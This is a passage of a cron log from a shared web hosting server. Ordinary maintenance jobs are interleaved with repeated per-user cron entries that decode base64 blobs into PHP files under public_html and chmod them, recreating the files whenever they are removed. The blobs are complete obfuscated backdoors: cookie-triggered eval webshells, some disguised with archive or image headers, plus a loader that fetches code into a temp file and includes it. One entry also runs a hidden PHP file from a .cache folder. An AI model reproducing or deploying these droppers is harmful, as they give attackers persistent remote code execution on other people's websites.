X3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:25:01 medusa CROND[18275]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:25:01 medusa CROND[18276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:25:01 medusa CROND[18277]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:25:01 medusa CROND[18281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:26:01 medusa CROND[11191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:26:02 medusa CROND[11240]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:26:02 medusa CROND[11242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:26:02 medusa CROND[11243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:26:02 medusa CROND[11244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:26:02 medusa CROND[11247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:26:02 medusa CROND[11250]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:26:02 medusa CROND[11252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:26:02 medusa CROND[11263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:26:02 medusa CROND[11265]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:26:02 medusa CROND[11269]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:26:02 medusa CROND[11270]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:26:02 medusa CROND[11271]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:26:02 medusa CROND[11272]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:27:01 medusa CROND[4349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:27:02 medusa CROND[4489]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:27:02 medusa CROND[4490]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:27:02 medusa CROND[4491]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:27:02 medusa CROND[4493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:27:02 medusa CROND[4498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:27:02 medusa CROND[4499]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:27:02 medusa CROND[4501]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:27:02 medusa CROND[4502]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:27:02 medusa CROND[4504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:27:02 medusa CROND[4503]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
